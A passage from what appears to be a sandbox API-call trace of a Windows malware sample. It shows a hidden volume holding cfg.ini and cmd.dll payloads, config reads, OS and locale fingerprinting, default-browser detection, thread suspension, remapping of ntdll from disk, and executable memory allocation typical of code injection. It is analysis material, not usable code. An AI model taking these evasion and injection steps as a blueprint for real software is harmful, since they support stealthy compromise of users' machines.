MemoryDescriptorList=0xfffffa80038a5e40) [0097.731] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.731] IdePortDispatch () returned 0x103 [0097.731] KeWaitForMutexObject () returned 0x0 [0097.731] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.731] KeLeaveCriticalRegion () [0097.731] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.732] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.732] KeEnterCriticalRegion () [0097.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b39000 [0097.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.732] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.732] IdePortDispatch () returned 0x103 [0097.732] KeWaitForMutexObject () returned 0x0 [0097.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.732] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.732] IdePortDispatch () returned 0x103 [0097.732] KeWaitForMutexObject () returned 0x0 [0097.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.733] KeLeaveCriticalRegion () [0097.733] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.733] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.733] KeEnterCriticalRegion () [0097.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.733] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.733] KeLeaveCriticalRegion () [0097.733] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.733] KeEnterCriticalRegion () [0097.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.733] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.733] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038e13e0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.733] KeLeaveCriticalRegion () [0097.733] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.733] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.733] KeEnterCriticalRegion () [0097.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.733] ExFreePoolWithTag (P=0xfffffa80038ef0d0, Tag=0x0) [0097.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.733] KeLeaveCriticalRegion () [0097.733] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.733] ReleaseMutex (hMutex=0x130) returned 1 [0097.733] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.733] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="rnd", lpDefault="*", lpReturnedString=0x21ff8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="2040373303") returned 0xa [0097.734] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.734] KeEnterCriticalRegion () [0097.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.734] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.734] IdePortDispatch () returned 0x103 [0097.734] KeWaitForMutexObject () returned 0x0 [0097.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.734] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.734] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.734] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.734] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.734] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038a4450 [0097.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.734] KeLeaveCriticalRegion () [0097.734] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.734] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.734] KeEnterCriticalRegion () [0097.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.734] KeLeaveCriticalRegion () [0097.735] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.735] KeEnterCriticalRegion () [0097.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.735] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.735] IdePortDispatch () returned 0x103 [0097.735] KeWaitForMutexObject () returned 0x0 [0097.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.736] KeLeaveCriticalRegion () [0097.736] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.736] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.736] KeEnterCriticalRegion () [0097.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3a000 [0097.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.736] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.736] IdePortDispatch () returned 0x103 [0097.736] KeWaitForMutexObject () returned 0x0 [0097.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.736] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.736] IdePortDispatch () returned 0x103 [0097.737] KeWaitForMutexObject () returned 0x0 [0097.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.737] KeLeaveCriticalRegion () [0097.737] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.737] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.737] KeEnterCriticalRegion () [0097.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.737] KeLeaveCriticalRegion () [0097.737] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.737] KeEnterCriticalRegion () [0097.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.737] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.737] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038edaf0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.737] KeLeaveCriticalRegion () [0097.737] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.737] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.737] KeEnterCriticalRegion () [0097.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.737] ExFreePoolWithTag (P=0xfffffa80038a4450, Tag=0x0) [0097.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.737] KeLeaveCriticalRegion () [0097.737] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.738] ReleaseMutex (hMutex=0x130) returned 1 [0097.738] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.738] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="nuh", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0097.738] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.738] KeEnterCriticalRegion () [0097.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.738] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.738] IdePortDispatch () returned 0x103 [0097.738] KeWaitForMutexObject () returned 0x0 [0097.738] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.738] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.738] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.738] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.738] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.738] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038f0bf0 [0097.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.738] KeLeaveCriticalRegion () [0097.739] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.739] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.739] KeEnterCriticalRegion () [0097.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.739] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.739] KeLeaveCriticalRegion () [0097.739] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.739] KeEnterCriticalRegion () [0097.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.739] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.739] IdePortDispatch () returned 0x103 [0097.739] KeWaitForMutexObject () returned 0x0 [0097.739] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.739] KeLeaveCriticalRegion () [0097.739] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.740] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.740] KeEnterCriticalRegion () [0097.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3b000 [0097.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.740] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.740] IdePortDispatch () returned 0x103 [0097.740] KeWaitForMutexObject () returned 0x0 [0097.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.740] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.740] IdePortDispatch () returned 0x103 [0097.741] KeWaitForMutexObject () returned 0x0 [0097.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.741] KeLeaveCriticalRegion () [0097.741] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.741] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.741] KeEnterCriticalRegion () [0097.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.741] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.741] KeLeaveCriticalRegion () [0097.741] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.741] KeEnterCriticalRegion () [0097.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.741] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.741] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038ef3a0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.741] KeLeaveCriticalRegion () [0097.741] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.741] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.741] KeEnterCriticalRegion () [0097.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.741] ExFreePoolWithTag (P=0xfffffa80038f0bf0, Tag=0x0) [0097.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.741] KeLeaveCriticalRegion () [0097.742] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.742] ReleaseMutex (hMutex=0x130) returned 1 [0097.742] SystemTimeToFileTime (in: lpSystemTime=0x101f9f8, lpFileTime=0x101fa08 | out: lpFileTime=0x101fa08) returned 1 [0097.742] RtlTimeToSecondsSince1970 (in: Time=0x101fa08, ElapsedSeconds=0x101fa10 | out: ElapsedSeconds=0x101fa10) returned 1 [0097.742] sprintf (in: _Dest=0x227f8, _Format="%u" | out: _Dest="1481016974") returned 10 [0097.742] GetVersionExA (in: lpVersionInformation=0x101f954*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x101f954*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0097.742] GetModuleHandleA (lpModuleName="kernel32") returned 0x76300000 [0097.742] GetProcAddress (hModule=0x76300000, lpProcName="GetNativeSystemInfo") returned 0x763210b5 [0097.742] GetNativeSystemInfo (in: lpSystemInfo=0x101f9f0 | out: lpSystemInfo=0x101f9f0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0097.742] _snprintf (in: _Dest=0x21bf8, _Count=0x3fe, _Format="%1d.%1d %04d SP%1d.%1d%s" | out: _Dest="6.1 7601 SP1.0 x64") returned 18 [0097.743] GetLocaleInfoA (in: Locale=0x800, LCType=0x59, lpLCData=0x101f214, cchData=1024 | out: lpLCData="en") returned 3 [0097.743] GetLocaleInfoA (in: Locale=0x800, LCType=0x5a, lpLCData=0x101f614, cchData=1024 | out: lpLCData="US") returned 3 [0097.743] _snprintf (in: _Dest=0x213f8, _Count=0x3fe, _Format="%s-%s" | out: _Dest="en-US") returned 5 [0097.743] _strlwr (in: _String=0x213f8 | out: _String="en-us") returned="en-us" [0097.743] SHGetValueA (in: hkey=0x80000002, pszSubKey="software\\classes\\http\\shell\\open\\command", pszValue=0x0, pdwType=0x101fa48, pvData=0x217f8, pcbData=0x101fa4c*=0x3ff | out: pdwType=0x101fa48*=0x1, pvData="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome", pcbData=0x101fa4c*=0x40) returned 0x0 [0097.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3c000 [0097.743] IdePortDispatch () returned 0x103 [0097.744] StrStrIA (lpFirst="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome", lpSrch="getlongpathname") returned 0x0 [0097.745] strstr (_Str="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome", _SubStr=".exe") returned=".exe\" -nohome" [0097.746] _strlwr (in: _String=0x217f8 | out: _String="iexplore") returned="iexplore" [0097.746] StrStrIA (lpFirst="C:\\Windows\\SysWOW64\\ping.exe", lpSrch="chrome") returned 0x0 [0097.746] GetModuleHandleA (lpModuleName="ntdll") returned 0x77e30000 [0097.747] GetProcAddress (hModule=0x77e30000, lpProcName="LdrLockLoaderLock") returned 0x77e66b95 [0097.747] GetModuleHandleA (lpModuleName="ntdll") returned 0x77e30000 [0097.747] GetProcAddress (hModule=0x77e30000, lpProcName="LdrUnlockLoaderLock") returned 0x77e66c3c [0097.747] LdrLockLoaderLock (in: Flags=0x0, Disposition=0x101fa38, Cookie=0x101fa3c | out: Disposition=0x101fa38, Cookie=0x101fa3c) returned 0x0 [0097.747] GetCurrentThreadId () returned 0x5a4 [0097.747] GetCurrentProcessId () returned 0x50c [0097.747] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xacf590, Length=0x10000, ResultLength=0x101fa10 | out: SystemInformation=0xacf590, ResultLength=0x101fa10*=0x5e68) returned 0x0 [0097.748] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x510) returned 0x134 [0097.748] SuspendThread (hThread=0x134) returned 0x0 [0097.748] CloseHandle (hObject=0x134) returned 1 [0097.748] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x584) returned 0x134 [0097.748] SuspendThread (hThread=0x134) returned 0x0 [0097.748] CloseHandle (hObject=0x134) returned 1 [0097.748] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x5ac) returned 0x134 [0097.748] SuspendThread (hThread=0x134) returned 0x0 [0097.748] CloseHandle (hObject=0x134) returned 1 [0097.750] LdrUnlockLoaderLock (Flags=0x0, Cookie=0x5a4000a) returned 0x0 [0097.750] GetModuleHandleA (lpModuleName="ntdll") returned 0x77e30000 [0097.750] GetModuleFileNameA (in: hModule=0x77e30000, lpFilename=0x101f61c, nSize=0x3ff | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll") returned 0x1d [0097.750] CreateFileA (lpFileName="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0097.750] CreateFileMappingA (hFile=0x134, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x138 [0097.750] MapViewOfFile (hFileMappingObject=0x138, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1020000 [0097.755] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x101f600, ZeroBits=0x0, RegionSize=0x101f5e4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x101f600*=0x1160000, RegionSize=0x101f5e4*=0x180000) returned 0x0 [0097.801] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004170000 [0097.801] IdePortDispatch () returned 0x103 [0097.806] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8d000 [0097.806] IdePortDispatch () returned 0x103 [0097.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0097.807] IdePortDispatch () returned 0x103 [0097.825] MmMapLockedPagesSpecifyCache 